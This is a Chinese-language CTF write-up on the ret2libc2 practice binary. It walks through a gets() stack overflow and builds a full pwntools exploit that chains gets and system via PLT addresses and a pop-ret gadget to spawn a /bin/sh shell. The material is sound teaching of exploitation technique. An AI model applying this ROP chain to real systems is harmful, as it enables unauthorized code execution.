控制函数执行 libc 中的函数。程序很多函数都是直接调用 libc 库里的,比如 stdio.h 内的函数。
前置知识
plt&got
Linux 通过 plt 表和 got 表进行链接。要执行这个函数通常是找到该函数的 plt 处,或者函数的具体位置(got 表的地址)。
plt(procedure link table) 程序链接表,通过跳转数组可以使得代码能够很方便访问共享的函数或变量。通过访问这个地址,可以执行相应的函数。
pot(globle offset table) 全局偏移量表,用来存储外部函数在内存的确切地址。
pwn
检查程序安全保护:
1
2
3
4
5
6
7
8
9
|
❯ pwn checksec --file=ret2libc2
[*] '/data/Hack/ret2lib/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
|
32 位程序仅开启了 NX 保护。
用 ida pro 对程序反编译,看看 main 函数:
1
2
3
4
5
6
7
8
9
10
11
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}
|
发现 gets 可以栈溢出。
查看偏移量和在 pwndbg 中对 call _gets 打断点查看 esp 和 ebp 的值确定要覆盖缓冲区的空间为 (0x6c + 0x4):
1
2
3
|
.text:080486B3 lea eax, [esp+80h+s]
.text:080486B7 mov [esp], eax ; s
.text:080486BA call _gets
|
1
2
|
EBP 0xffffcb88 —▸ 0xf7ffcca0 (_rtld_global_ro) ◂— 0
ESP 0xffffcb00 —▸ 0xffffcb1c ◂— 0
|
查询函数表没有 shell 的代码只有这个:
用 ROPgadget 查询 ROP 链,也没能直接找到 /bin/sh 的字段。
所以尝试通过 libc 里的 gets 和 system 来完成目的。
使用 gets 获取 /bin/sh 字符串,用 system 跳转命令。
通过 objdump 获得汇编数据:
1
|
objdump -d ret2libc2 > asm
|
获得以下字段:
1
2
|
08048460 <gets@plt>:
08048490 <system@plt>:
|
我们还需要在 bss 段里找个合适的字符串存放 /bin/sh
嗯,就是它了,记住地址 0804A080。
但是我们还需要有个 pop | ret 的命令,用 ROPgadget 找到:
1
|
0x0804843d : pop ebx ; ret
|
这里 pop ebx 只是用于在之后把 gets 的参数出栈使得可以跳转到 system plt,与 ebx 无关。
综合以上可以得到以下变量:
1
2
3
4
5
|
offset = 0x6c+4
gets = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
pop_ret = 0x0804843d
|
将它们进行组合就是攻击载荷了。
1
|
payload = b'a' * offset + p32(gets) + p32(pop_ret) + p32(buf2) + p32(system_plt) + p32(0) + p32(buf2)
|
核心就是通过 pop_ret 控制栈进行出栈来执行两段函数,栈只是把命令给 eip ,没有存放可执行代码。
完整 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#!/usr/bin/env python
from pwn import *
p = process('./ret2libc2')
offset = 0x6c+4
gets = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
pop_ret = 0x0804843d
payload = b'a' * offset + p32(gets) + p32(pop_ret) + p32(buf2) + p32(system_plt) + p32(0) + p32(buf2)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()
|